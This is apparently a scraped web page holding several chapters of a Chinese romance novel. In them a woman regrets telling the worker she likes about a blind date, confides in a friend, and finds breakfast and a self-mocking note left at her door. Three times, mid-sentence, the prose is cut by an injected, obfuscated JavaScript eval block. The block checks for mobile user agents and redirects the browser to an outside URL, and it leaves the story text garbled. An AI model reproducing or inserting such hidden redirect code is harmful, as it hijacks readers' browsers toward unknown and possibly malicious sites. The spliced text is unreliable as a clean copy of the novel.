电话那头一如既往是宋行舟那种沉稳的声线,带着一点点被压低的温和。 “怎么忽然去相亲了?” 没有质问,没有惊讶,语气平静到近乎温吞,好像真的只是随口一问。 可就是这种温吞,把她的火彻底点燃了。 她本来以为他会问得急一点、情绪多一点、哪怕是声音高一度也好。可他没有。他像是根本没有把她的这条消息当回事,只是以为她想聊天。 她咬着唇,手机换了只手,靠着沙发背坐直了一点,“那要不然呢?我妈天天念叨,催着我去见,说人家条件好,还特地托人介绍的。我年纪也不小了,总不能一直吊在一棵树上等人回消息吧?” 语气不重,但句句带刺。 她不说是谁那棵树,可他要是听不出来,那才是真傻。 电话那头安静了一下。 他没有立刻回答,就像是在组织语言。 裴雨偏偏最受不了他这个毛病。 “宋行舟。”她忽然叫他名字。 “嗯?” “你真的什么都不想说吗?” 她语气还是淡的,像是天冷加了点温度,却带着情绪底下涌动的河流,随时可能决堤。 宋行舟听了听,声音低下去一点,“我不知道你希望我说什么。” “你说你不知道。”她笑了一下,“我就知道你会说这个。” “……” “你总是这样啊。”她轻声说,“问你什么你都一副无所谓的样子,好像天塌下来也跟你没关系一样。你可真厉害,永远都不先动情,永远都走在事情外面。” 话说完,她心口跳得厉害。 她不知道自己想从宋行舟那边得到什么——一个解释?一个情绪反应?还是一丁点在意的证明? 可对方只是沉默了一会儿,然后才开口:“你是不是因为这几天我没给你发消息,心里不太舒服?” 这句话说得太温柔,温柔得让她反而更委屈。 “你以为我是在吃醋吗?”她靠在沙发上,眼睛有点热,“你以为我是在吃你忙着工作不搭理我的醋吗?” “不是吗?” 宋行舟的声音还是不紧不慢,没什么情绪,却又像是能看透她。 她一瞬间哑了。 是的,她就是在吃醋。可她不想承认。 她就是不想只让她自己情绪外露、不想只有她一个人心里打翻了醋坛子。他不问,她也不会说。他不慌,她就想看他什么时候才慌。 可偏偏——她比他先乱了。 电话那头再次安静下来。 裴雨把手机放到耳边,小声地说:“我不知道你是怎么想的,宋行舟。我也不是非得从你这儿等什么回应。只是,有时候你那种平静的样子,真的让人觉得……像一拳打在棉花上。” “你知道我今天坐在那桌子上,听着一个跟我几乎没交集的人问我五年规划、年收入、家庭背景……我在想什么吗?” “我在想,如果你是我妈介绍的相亲对象,那该多好。” 这句话一出口,她自己都愣了一下。 话已经说出去了,却没法收回。 而电话那头,仍旧只有轻微的呼吸声,没声音。 她想挂电话,心里那股倔强几乎快压不住了。 可宋行舟忽然开口,声音低沉安静。 “我不想你去相亲。” “……” “我知道我没资格说这话,也没有立场干涉你。但我还是想说——我不想你去。” 裴雨抱着手机,听着那端宋行舟说“我不想你去相亲”,指尖下意识收紧,几乎不受控制地握住了手机边缘。 她不该心软的。她本来是想生气的。 可他的声音一出来,又是那么低,又是那么不争——就像他们之间从头到尾的相处一样,不吵不闹,不冷不热,像两根细线悬着,没有扯断,也没有真的系紧。 她靠在沙发上,嘴唇抿得很紧,喉咙里像堵着什么,吐不出来也咽不下去。她闭了闭眼,本来想转移话题,想要岔开这段不该继续下去的争执,可话一到嘴边,却忽然变了形。 “我今天看见你了。” 她说这话的时候,语气很轻,像不经意提到,却压着心底的一团风暴。 电话那头静了一拍。 “在你买煎饼的时候。”她继续说,“我那时候正在相亲,坐在咖啡厅靠窗的位置,就那么往外一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792805|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥……你穿着灰色的工装外套,站在摊子前面排队,看起来挺安静的。” “……” “我当时就觉得……”她迟疑了一下,不知道该不该继续,但手指已经无声地紧握起来,像是在逼迫自己,“挺讽刺的。” “我刚跟一个相亲对象聊到职业和收入,他问我有没有什么朋友在魔都定居,我就看见你了。我没说你是谁,只是愣了一下。结果他顺着我目光看过去,就问我,是你朋友?工人?” 她咬了咬牙,手指冰凉。 “我没接话,可他又补了一句,说——‘工人能挣几个钱啊?估计也就是个二本毕业,混口饭吃吧。’” 她说完这句话,整个人陷在沙发里。 她知道,她不该告诉宋行舟这段话的。尤其不该用这种略带夸张、甚至是带着点“比对”的口吻复述那个男人的口气。她不傻,她清楚这话有多伤人。可她偏偏就这么说了。 或许是出于某种想让他“清醒”的心理,又或者是她心底那点卑劣又私密的倔强作祟——她想看看他说什么。 看看他会不会愤怒,或者难堪,甚至挂断电话。 但什么都没有。 那端静了很久。 裴雨几乎以为他不会回应了,连呼吸声都轻得让人心慌。 然后他开口了,声音平静到近乎冷淡,没有什么多余的情绪: “可是他说得也没错啊。” 她整个人一僵。 “我就是个工人啊,”宋行舟继续说,语调没有一点波澜,“每天早上六点多起来,骑着电瓶车赶去电厂,穿着你说的那件灰工装,戴着安全帽,要是转岗到检修甚至可能在尘土飞扬的地方干活。” “我不是研究生,也不是体制内,更不是互联网那些年薪几十万的程序员。” “我确实不是个好大学毕业的。” 他说这话的时候声音一点都不哀怨,甚至不带一点自嘲,就像是在陈述一份他早就习惯了的现实。 可是对裴雨来说,却远比任何一场争吵更加难受。 她怔住了。 手机在她耳边静静地贴着,那头仍是他的呼吸声,低低的,稳稳的,像是把某些真相从喉咙里挤出来后,又重新埋回了心底。 裴雨的喉咙动了动,说不出话。 她没想到他会说“他说得没错”,更没想到他说这话的时候不是愤怒、不是反驳,而是那种……近乎接受的平静。 就好像连他自己,也从来没觉得这些“评价”有什么不对。 ——可她不是这样想的。 她不是这么看他的。 她想说你不是“不过是个工人”,你也不是“混口饭吃”,你是她从阳台上看到站在楼下修灯箱、能把每个螺丝拧得特别稳的那个人;是雨天可以陪着她在大雨里奔跑的那个人;是她再不平静的时候,也能心安地待在他身边什么都不说、却觉得很安全的那个人。 可她一句都说不出口。 因为是她,亲口把那些话说出来的。 她低着头,眼睛有点涩,嗓子像卡了什么东西,慢慢地轻声开口:“对不起。” 这句话刚说出口,她就后悔了。 这不是她想说的重点。不是一句“对不起”就能抹掉她刚才那些言语的。 但电话那头,宋行舟沉默了很久,像是真的在消化什么,然后才慢慢地,像从胸口抽出一口气似的说:“你不用跟我说对不起,裴雨。” “我早就知道这些是事实。” 29. 承认吧,你就是动心了 裴雨挂掉电话的时候,指腹已经出了一层细汗。 她把手机放在茶几上,却坐了很久都没有动。 屋里很安静,只剩下空气流动的声音和老旧空调吹出的细微嗡鸣声。她靠在沙发里,一只手搭在膝盖上,眼睛盯着前方那台没开机的电视出神。 过了一会儿,她终于低头看了一眼手机。 没有新消息,宋行舟也没有再打过来。 她本来就是不想他再打来的,可真看到那块屏幕一片空白的时候,心里还是不可抑制地闷了一下。 她突然觉得有点累,像是从头到尾跟自己打了一场仗,输了,还遍体鳞伤。 她用力吸了吸鼻子,把靠枕往怀里揽了揽,脑袋埋进去,整个人缩进柔软的沙发角落。像只自我防御的小兽,背对世界,沉默又戒备。 她不是没意识到自己说得有多过分。也不是不知道宋行舟那句“可是他说得没错啊”到底藏了多少她看不见的隐忍和自卑。 只是她……就是控制不住。 她太急躁了。 她本来以为自己早就过了为一点点感情动荡就整夜失眠的年纪,可现在想想,那些成长不过是暂时的钝化,一旦遇到一个让她心动的人,一切又都回来了。 小心翼翼地期待、患得患失地等回应、每一条消息都要读上好几遍,甚至能从“好”字后面有没有句号读出语气变化来。她真的好久没有这么被动得像个失控的普通人了。 是从什么时候开始的? 可能是某一天起,她发现宋行舟偶尔会发消息问她“今天有没有下雨”、或是“晚上回家记得穿外套”的时候。又或者是每一次他送她回家,站在她门口等她进门、然后才转身离开的背影。 还有她发现他笑起来其实挺好看的时候。 她心动了,但又害怕自己太主动,显得廉价。 所以她憋着,一边暗示,一边等待。 可偏偏宋行舟不是会轻易跨出那一步的人。 他总是太稳重,太沉静。像一块沉在湖底的石头,你能看见他,却摸不到他的边界。你不知道他有没有回应你,只知道你一靠近,他反而更静了。 于是她急了。 她想看清楚他到底怎么想,想知道她是不是能再往前一步,还是应该知趣后退。她等不到,就自己动了手,非要掀开这层暧昧不清的纱。 结果就是——像今晚这样,话说出口的一刻就后悔,心里却已经翻江倒海。 她明明不是这个样子的人。可一遇到他,她就成了另一个自己。 她不想承认她在较劲,不想承认她心里其实怕得要命,更不想承认她刚才复述那段“瞧不起”的话,其实只是想看宋行舟有没有因此而起波澜,哪怕只是一句激动的反驳,也好过那种平静到像认命的回应。 ——她不甘心。 不甘心她的喜欢像投入湖里的石子,连水花都没有。 可她也知道,这种不甘心太自私了。 她忽然觉得有点委屈。 不是对宋行舟,而是对自己。 她太想知道结果了,太急着把这段感情归为某种“确定的关系”里,结果不但没有获得安全感,反而把本来好好的东西弄丢了。 她一直都不是个爱等的人。工作上,她总能雷厉风行,生活里也有清晰的节奏,谈恋爱更是喜欢要么别开始,要么就好好走下去。 但这一次,她却栽了。 她心动得太早,却等得太久。 她撑不住了,就开始乱说话,开始用试探、用反讽、用一点点情绪失控去逼问一个答案。 可这种方式,偏偏最伤人。 她明明看得出宋行舟不是不喜欢她,可他太谨慎了,太不确定。他从不直接表达,也不擅长回应感情,他总是一副“我能等你慢慢靠近”的样子,却从不告诉她——你靠近到哪里,我才会迎上前一步。 她开始怀疑是不是他压根没打算走过来。 她越想越烦,手指用力搓着掌心,像是想把某种情绪搓掉,可她知道她只是越陷越深。 手机忽然“叮”了一下。 她下意识看过去,结果只是某个外卖软件的通知。 心里那点不切实际的期待又被现实拍回了原位。 她没再动,只是躺在沙发上,脑袋靠着扶手,眼睛看着天花板一点光影都没有的角落。 她忽然意识到,她不是不知道该怎么和人谈感情——她是不知道怎么和宋行舟谈。 他太特别了。 特别到她一向清晰理智的判断,全都乱了。 她轻轻叹了口气,闭上眼睛,把自己埋进了沙发里。 时间已经接近凌晨,屋外的风呼呼地灌着窗,裴雨躺在沙发上,半睁着眼盯着天花板发呆。 她已经保持这个姿势两个小时了。 不是不想动,是不愿意动。心里窝着一股说不清的情绪,像堵气卡在喉头,咽不下去,也吐不出来。 她听着空调出风口一下一下的轻响,终于拿起手机,指尖才缓慢地停在了“刘盼盼”三个字上。 她犹豫了一下,还是拨了过去。 电话响了三声便被接起。 “喂?”对面是刘盼盼的声音,带着点刚醒的慵懒,“怎么了你?出什么事了?” “你睡了吗?”她的声音有些低,带着点难以察觉的倦意。 “刚刚迷糊着,怎么?你不会现在失恋了吧?” “……我也不知道算不算。”她顿了顿,靠着沙发慢慢坐起来,脚踩在冰凉的地板上,手指揪着毯子边角。 “你等等,我起来给自己倒点水,听你这语气今晚得听个长故事。” 刘盼盼那边传来一阵悉悉索索的动静,还有茶杯碰瓷的轻响。过了几秒,她重新贴近听筒:“好了,说吧,别整我悬念。” 裴雨沉默了一下,说:“我今天晚上给宋行舟打电话了。” “哦豁。”刘盼盼语气立刻兴奋了几分,“主动出击了?你之前不是还说再等等吗?” “不是那种打。”她轻声说,“我说我去相亲了。” 电话那头一下子静了几秒,“……你跟他说你去相亲了?” “嗯。” “你是疯了吧你。” 裴雨没有说话,只是轻轻地把毯子拉高一些裹住自己。 “你到底怎么想的?”刘盼盼的声音一如既往地直接,“你这不是一把刀插自己心口里,还得晃两下让它疼得更彻底?” “我也不知道怎么想的。”她轻声说,“那天他几天没联系我,然后我又在相亲的时候看到他……他就在我对面那家小吃摊买煎饼果子,我没叫他,他也没看见我。” “所以你心里不舒服了?” “……我也不确定是不是不舒服。我就是突然觉得,怎么会是我一个人一直在……这么上心。” 刘盼盼叹了口气:“所以你就用相亲这件事去敲他一棒子?” “其实……我最开始根本没打算说的。”裴雨声音低低的,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797988|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在回忆,“我回家之后越想越难受,才鬼使神差地给他发了消息。结果他电话打过来,我就告诉他我今天去相亲了,还告诉他,相亲对象瞧不起他,说他可能就是个工人,甚至学历也没多高。” “……你真是疯了。” “是啊。”裴雨轻轻笑了一声,低得几乎听不清。 “那他怎么说?” “他说,‘可是他说得没错啊,我的确是个工人,也不是什么好大学毕业。’” 刘盼盼安静了下来,过了很久才叹了口气:“他真是……脾气也太好了。” “你不觉得他这反应更让人难受吗?” “我知道。”刘盼盼说,“他是在接受他自己,也在让你接受他——可是,你不是已经接受了吗?” “我接受。”裴雨低声,“可是我接受不代表我就不介意他不回应我。我不是要求他一定得多主动,但他总得有点反应吧?我……我真的不知道他是对我没感觉,还是只是太谨慎。” 刘盼盼没急着说话,只是听她慢慢倾倒着心里的那些委屈和混乱。 “盼盼,”裴雨轻轻喊了一声,“我是真的很久没谈恋爱了。我一开始都没想过要跟他怎样,就是觉得他人挺好,挺特别的。后来慢慢开始期待,想他能不能多靠近我一点,可是……可是真的靠近不了。” “你想得太快了。”刘盼盼语气慢了下来,像在劝一个急着掀开蛋糕看有没有熟的孩子,“你想太快,也想太清楚了。你以为你能控制节奏,结果遇到一个像宋行舟这样沉稳的人,反倒全乱了。” “我就是觉得自己太急了。”裴雨喃喃,“像迫不及待地找个结果,可是结果不如人意,我又怨他。” “但你心里明白他没错。” “是。” “所以你才更难受。” “也是。” “你知道他喜不喜欢你吗?” “我不知道。”她沉默了一会儿,“我真的不知道。” “你要不要给他一点时间?” “可是我给了啊。” “你才认识他几个月?” “……也是。” 电话那头陷入短暂的安静。刘盼盼像是低头喝了口水,慢慢道:“其实你也不用现在就给自己下结论,说他不够喜欢你,或者他不会走向你。我看他挺真诚的,甚至连你这么突然说相亲那种话,他都没怪你。他可能只是……太慢了。” “你说我还该不该继续?” “这我没法替你回答。”刘盼盼轻声说,“但我知道你今晚不是来问这个问题的。” “那我问什么?” “你是来找人陪你一块承认——你动心了,而且动得不轻。” 裴雨没说话。 她看着窗外夜色沉沉,树影微晃。心口仿佛也像那风吹动的叶子一样,被什么东西悄悄撩了一下。 她终究承认了。 不是对宋行舟的不满,不是对这段关系的怀疑,也不是对相亲对象的讨厌—— 而是,她是真的,动心了。 她轻轻嗯了一声,像是默认。 刘盼盼笑了:“这就对了。承认了,咱们才能慢慢处理。不然你一直扭着自己折腾,最后伤的还是你。” “你说我还能挽回点什么吗?” “你没做什么错事,只是说了一些实话,只是方式不太对。宋行舟要真在意你,不会就因为一句话就退回去了。” 裴雨沉默了一会儿,轻轻说了句:“但愿吧。 30. 底层工人只会买这个,将就着吃吧…… 裴雨一晚上几乎没怎么睡。 她不是彻底的失眠,反而像是在梦里翻来覆去地重复着那通电话的内容。她反复听到宋行舟那句“可是他说得没错啊”,像是某种温和的自我承认,又像是一种剥离她怒气的利刃,温吞,却刀刀见骨。 早上七点半,闹钟按掉的那一刻,她其实已经醒了好久了。眼皮沉重得像压了一夜的泪,镜子里的自己,眼角发红,肿得像小孩哭过后没擦干净的模样。 她站在洗手台前盯着镜子看了很久,最后还是把冷水泼在脸上,用毛巾胡乱擦干,没心情再多做些什么。她本来也不太会化妆,这会儿更觉得画了也没用,情绪糊成一团,怎么都遮不住。 厨房那头的电饭煲还在滴滴作响,是昨晚定好的预约煮粥。 她揭开盖子,一股热气冒出来,清淡的香味扑鼻,但她闻了一下就有点反胃,胃口被情绪堵得死死的,哪怕一口也不想吃。 “算了,干脆直接上班吧。”她嘟囔着,小声地跟自己说话,转身回房间换衣服。 她动作一如既往地利落,麻木中带着熟练,好像只要每天按部就班地把事情做完,她就能躲开那种被情绪拖住往下坠的失控感。 可她不知道,自己其实早就已经在坠落中了。 拎起包,她深吸一口气,准备开门出门。 门打开的一瞬间,她整个人都僵了一下。 她低头,看到了那个挂在门把手上的白色塑料袋。里面鼓鼓囊囊地装着什么,外包装隐约能看出是那家小摊的煎饼果子。 袋子旁边,还夹着一张便签条,用普通的黑色签字笔写着一行字: ——“底层工人只会买这个,将就着吃吧。” 一瞬间,她整个人仿佛被谁按了暂停键。 她站在门口,睫毛几乎一动不动,眼神落在那张字条上。 她不认得那笔迹。 字迹干净,有些用力,有些倔强。像宋行舟。 也只能是宋行舟。 她不知道自己站了多久,直到楼道里传来脚步声,她才微微惊醒般往后退了半步,把那煎饼果子连同字条一起取了下来,快步关上了门。 屋里再次陷入沉寂。 她把袋子放在餐桌上,坐到椅子上盯着那张便签发愣。 那上面短短的一句话,看似轻巧得像句玩笑,可她知道,这是一种回应。 她说了相亲,说了“对方觉得你不过是个工人,说不定连学历都不高”。 而他没有反驳。 他在电话里说的“他说得没错啊”,她以为那是他的默认,是一种消极的接受。 可现在,她有点不那么确定了。 她突然想起那天相亲时,她下意识往窗外望去,看到的宋行舟。 他穿着一件洗得发旧的工装,手上还沾了点什么灰色的脏污,站在那小摊前,低头看着煎饼摊主摊蛋。他一只手插在口袋里,另一只手自然垂着,像平常上工回来那样毫不修饰地站在那里。 那个画面其实安静极了,可她却觉得那一瞬间有什么东西突然堵住了自己的喉咙。 她不是觉得他低人一等。真的不是。 她只是无法接受,一个她心里偷偷放在柔软位置的人,会被别人用这样轻慢的口气评价,而他自己竟然不辩解。 可现在,那张便签上写的话,就像是他用了另一种方式回应她: 是,他就是个底层工人,是那个只能买煎饼果子的人。但他不觉得这丢人,甚至可以半开玩笑地说给她听。 她突然又酸又委屈,又无地自容。 是她先说了伤人的话,是她太着急,是她想逼一个沉默的人给她明确的回应,可结果是,她什么也没逼出来,反倒让他用这样一句带点自嘲、带点玩笑意味的方式,把她的所有情绪都挡了回来。 她打开袋子,煎饼果子的香味扑鼻而来,还是热的。显然是他今早特意去买的。 她低头看着那个煎饼果子,拿起来咬了一口。 蛋皮刚刚好,煎得脆脆的,馓子酥脆,面饼带着点咸味,还有点辣酱的刺激。 很好吃。 可是她边吃边掉眼泪。 她一边掉眼泪一边吃完了整个煎饼果子,像是在用一种极为矛盾的方式消化着自己的悔意、委屈和一点点说不出口的心疼。 她不知道宋行舟是不是专门为了她写那句话,或者只是想缓和昨天那通电话带来的尴尬。 但她知道,她现在真的什么都说不出口了。 她不是不想立刻跑去找他,不想拉着他说清楚,可她就是做不到。她太骄傲,太敏感,太容易受伤——而这些都让她在喜欢一个人时无比笨拙。 就像现在。 她只是安静地坐在那里,看着那张便签条,像看着一面镜子,照见她狼狈又无措的样子。 煎饼果子的袋子还没丢掉,就放在餐桌边上。那张字条被她折起来塞在手机壳和手机之间,每次拿起手机,指尖都能碰到那一点微微翘起的纸边。 裴雨吃完了东西,却依然觉得胃里有点空。不是饿,是一种没来由的空荡荡,像是一口气压在心口,又像是夜里哭累了还不敢大声喘息后的后遗症。 她靠在沙发上,看着天花板发了一会呆,然后又低头看手机。 时间已经快九点了。 她犹豫了一下,点开和刘盼盼的聊天框,打了两句话又删掉,最后还是只发过去一句话: ——“你说他到底生不生气啊?” 消息发出去的一瞬间,她就有点懊悔。 她其实不是非要让宋行舟生气,她只是……不知道他到底怎么想的。 她总觉得,自己昨晚那些话,换了任何一个有点脾气的男人,大概都该挂电话、发火,或者最起码冷几天吧。 可宋行舟呢? 他没发火,没挂电话,也没说重话。今早还特意把煎饼果子挂在她家门口,留了那张既像玩笑又像自嘲的纸条。 他好像什么都懂,又好像什么都没放在心上。 她靠在沙发上翻来覆去,连手机震了一下都没反应过来,是刘盼盼回消息了。 【刘盼盼】:啊?我怎么感觉他好像都没把你昨天那点话太当回事? 裴雨盯着这行字,有点想笑,又有点想叹气。 ——“没太当回事?” 这话像一盆冷水浇下来。 不是那种让人惊醒的痛快冷,而是让她突然生出一种“原来只有我一个人在原地扑腾”的那种落差感。 她又飞快地敲了几行字: 【裴雨】:……你不是安慰我吧? 【裴雨】:我昨晚那态度那么差,他怎么可能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803772|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生气? 【裴雨】:我都说了别人嫌他学历低是个工人了…… 她在手机上盯着那些话看了几眼,忽然又觉得不对劲,把最后一句删了。 可刘盼盼消息发得更快。 【刘盼盼】:但他要是生气了,哪还会早上给你送煎饼啊? 【刘盼盼】:要真记仇,他直接消失不理你才正常吧。 裴雨一时间没回。 她靠在沙发上,手机握在手里,手指在边缘来回摩擦,像是想把刘盼盼那句话反复琢磨一遍。 ——“不理你才正常”。 可是宋行舟不是不理她。 他理她了,用他的方式。他没有正面跟她争执,反而以一种温和而略带点调侃的方式回应她。送煎饼、留纸条,那全都是一种回应——只是他没有照她预想的剧本来。 【裴雨】:那他到底是气了,还是不气? 【刘盼盼】:裴雨你是不是有点想太多了? 【刘盼盼】:你这是想让他生气吗? 裴雨停住了。 是啊,她到底想干嘛? 她昨晚咄咄逼人,说了些她知道不合适的话,然后今天却又偷偷揣摩他的情绪,甚至在刘盼盼说“他好像不太当回事”时生出了点失落的情绪。 她到底是想让他气,还是不气? 她盯着手机,突然觉得好像自己哪里出了问题。 不是宋行舟不在乎,而是她太希望得到一种明明白白的回应。 哪怕是愤怒、质问、不甘,哪怕是像她一样没控制住情绪。 可他没有。 他的方式安静、理性,像是故意绕开了她情绪最尖锐的刺,既不试图戳穿她,也不故作宽容,而是就这样带着一丝不动声色的距离,做了一个“我知道你在想什么,但我不戳穿你”的人。 她反倒更加不安了。 【裴雨】:我没有想让他生气。 【裴雨】:我就是想知道……他到底在不在意我。 她发完这句,又把手机放到一边。 不等刘盼盼回。 这句她打得太快,几乎是本能地发出来的,像是从心口硬掏出来的念头,来不及过滤。 说白了,她是在意他对她的情绪。 比起他是否生气,她更想知道,他有没有因为她而起了情绪。 而不是云淡风轻地接受这一切,好像她在他生活里只是个偶尔出现、偶尔消失、无足轻重的人。 她靠在沙发里,头枕着靠垫,眼神落在天花板的某一个点上,发了一会的呆。 像是在等一个回答,又像是在给自己找理由。 她当然知道,宋行舟是那种不太会表现情绪的人。 他不是不在意,他没那么多的表达欲,也不会轻易说一些夸张或情绪化的字句。可她却又偏偏是那种要靠“回应”来确认自己存在的人。 两种人,偏偏撞在了一起。 这会不会也是问题的开始? 她有点烦躁地揉了揉额角,像是在思考,又像是在逃避。 【刘盼盼】:我觉得他肯定是有点在意你的,不然他不会送东西。 【刘盼盼】:但你要他怎么表达呢?发火?冷暴力?那你又更难受了吧。 这话像是一面镜子,把她的所有小情绪照得明明白白。 31. 不想清醒 办公室在早上九点半的时候,终于慢慢热闹了起来。 裴雨到得不算晚,但也从来不早来,她是那种不喜欢和人闲聊也不愿引人注意的员工,既不上赶着和上司套近乎,也不想在同事之间刷存在感。她做事利落,言语不多,不声不响地就把该完成的内容整理得清清楚楚,因此虽然存在感不强,但也没人真敢小瞧她。 “早啊,裴雨。” 前台的女孩小朱看到她进来,朝她招了招手。 “早。”她点了点头,声音轻,但带着她惯有的礼貌温度。 她今天没化妆,或者说,只是简单擦了个防晒,再抹了点润唇膏。眼睛因为昨晚没睡好还略微肿着,眉眼比平时淡了许多,看上去没那么有精神。但她穿着一件剪裁合体的米色风衣,里面是浅灰色针织连衣裙,衬得整个人依旧是那种干净清爽的样子,像是精心修剪过的城市植物,看起来平静而克制。 刚坐到位子上没几分钟,她前桌的林希就回头看她一眼,挑了下眉:“怎么今天这么晚?不是你一贯的作风。” “没睡好。”裴雨翻出文件夹,把今天要用的项目资料一份一份码好,“反正醒了就来。” 林希看了她几眼,神情有点探究,但没说什么。她们不算特别亲近,但因为长期在一个小组,经常一起出外勤,也算是了解彼此脾气的人。 “早上脸有点肿,我办公室有眼部滚珠,要不要借你?”她还是多嘴问了一句。 裴雨摇了摇头,声音轻得像风吹过桌角:“不用了,谢谢。” 林希也没多说,只点了下头,又转回去开电脑。 早上的会议是十点钟,是关于新一季度产品文案推广方向的讨论。领导迟到了十几分钟,一边脱着风衣一边打电话,语气有些烦躁:“……不是这个方向的问题,是你那边设计根本不接地气。不是所有人都吃小资那一套了,年轻人现在要的是冲击力,听得懂吗?不是法语和氛围感。” 会议室里有些人忍不住对视了一眼,但都没说话。 这就是裴雨所在的行业常态,甲方焦躁,乙方被催,她们这类负责内容和品牌调性的中间角色,夹在中间,受气的频率甚至比一线运营还多。 “裴雨,你说说。” 领导忽然点了她,“你们文案组这次出稿你是主导的吧,你觉得他们的设计方案符合你们的主题吗?” 她原本坐得挺直,听到这话轻轻动了动脊背,把手中的笔合上。 “我觉得方向上是贴合的,只是确实偏感性,可能在传播层面不够直接。” 她说话依旧是一贯的中性,不指责也不维护。她不会轻易站队,也不喜欢把观点说得太死——这种含而不露的表达方式,曾有人说她“太滑”,也有人说她“审慎有余,锋芒不足”。 可她知道自己是什么样的人。 她不是不会争,而是不想在不值得的战场上起冲突。 领导听了她这话,皱着眉思索了几秒,点点头:“行,思路你再和设计组对一下,周四之前给我一版能上线的成稿。” “好。” 会议结束后,她收拾东西走出会议室时,被林希追上了。 “你今天讲话都这么温吞?”林希一边说一边掏出口香糖,撕了一片递给她,“以前你可不是这样,开会敢跟主管杠的人就是你。” 裴雨没接口香糖,只笑了笑:“现在我学聪明了。” “聪明还是累?”林希盯着她问。 她没回答,只是低头笑了笑,眼睛里没什么笑意。 她是真的累。 不是身体上的,而是一种长时间消耗后的疲惫。每一份稿子、每一个方案、每一次修改……都像是在重复自己之前走过一万遍的路,没有风景,也没有期待。久了,她也开始怀疑:自己是不是真的适合一直做这一行。 中午吃饭的时候,她坐在角落,默默扒着外卖里的米饭。 林希跟几个关系好的女同事凑在一起讨论综艺,说哪个男嘉宾帅,哪个恋综看得人上头。她偶尔抬眼看过去,心里有种说不上来的钝感。 她其实不是不喜欢人群,只是……不太能在人群里真正融进去。 她想起昨晚那个电话,想起今天早上门把手上的那张纸条。 她一边咀嚼着饭菜,一边低头打开手机,看了眼和宋行舟的聊天框。 他没有再发新的消息。 她也没有。 那一整天,她都把自己藏在工作的节奏里,不多说话,也不多表达,做事干净,动作利索,就像是一个被设置好程序的机器。 直到下班前十分钟,林希忽然转头过来问她:“晚上有空吗?” “怎么?” “我朋友开了家新酒吧,今晚试营业,大家都准备去看看,你也来?” 裴雨犹豫了一下。 “我可能不去了,最近想早点回家。” “你最近是不是有点心事?”林希靠过来些,低声问,“恋爱了?” 裴雨一愣,眼睫轻轻颤了一下:“怎么突然问这个?” “直觉。”林希一笑,“你今天整个人心浮气躁的,不像平时那个冷静的你。” “没恋爱。”她轻轻地说,“只是……碰到了一个让我不太冷静的人。” 林希挑了挑眉,刚想继续追问什么,前台那边的电话突然响了,她便匆匆转身去接。 裴雨一个人坐在原地,忽然有点想去喝酒了。 不是为了热闹,而是……想找点不那么清醒的理由,把脑子里那些想不明白的东西晃掉一点。 但她最后还是没去。 她下班,出门,站在公司楼下吹了一会风,才打车回家。 楼下便利店的门口,放着一堆今天没卖完的鲜花,有点蔫了,但颜色还在。 她盯着那些花看了一会,走过去,从里面挑了一枝看起来最饱满的向日葵。 店员问她:“要送人吗?需要包装一下吗?” 她摇头。 “就这样吧。” 她拿着那枝花回了家,把它随手插在了餐桌上的玻璃杯里。 不是特别好看,但挺亮。 她站在花前盯着看了一会,忽然低头笑了一下,声音很轻:“你说他到底生不生气啊?” 可这一次,没有刘盼盼回复她,只有桌上一枝半蔫不蔫的向日葵,安静地立在那里,什么都不说。 “诶,裴雨。”是林希打来的电话。 “今晚有空吗?” 这是她第二次问这话了。上一次她拒绝了,但这次不太一样。 她还是有些乱,但那种乱像是一滩发了酸的水,放在密闭瓶子里,开始积压出一些小泡泡,眼看要溢出来了。 裴雨抬起头,听出了林希声音里的期待。那是一种不带功利、不图什么的社交邀约,只是想拉着熟悉的同事一起放松一下。 “去哪?” “还是我上次说的那个酒吧,我朋友新开的,他说给我们留了个小卡座,地方不吵,酒也好喝。” 裴雨没立刻答应,低头看了眼手机,锁屏界面是那张去年秋天她随手拍的一张落叶图,颜色温柔,却空旷。 宋行舟依旧没有新的消息。连朋友圈也没更新。 她点开聊天框又退了出来,最终轻轻应了一声:“行啊。” 林希眼睛一亮:“哎哟,你怎么这么配合?转性了?” “想喝酒。”她语气淡淡,但眼神里确实多了一些说不清的倦意,“觉得……自己快发霉了。” “好,我给我朋友说一声。”林希兴奋地打开微信,“酒水我请。” 裴雨没推,她知道林希嘴上说着请,最后结账还是会AA,习惯了。 晚上七点半,两人一起到了市中心那家酒吧。 它藏在一条不算热闹的小巷里,门头不显眼,外墙被刷成深灰色,边缘勾着一圈暗红的灯带,在夜色里像是老电影里常出现的场景,低调又带点旧派浪漫。 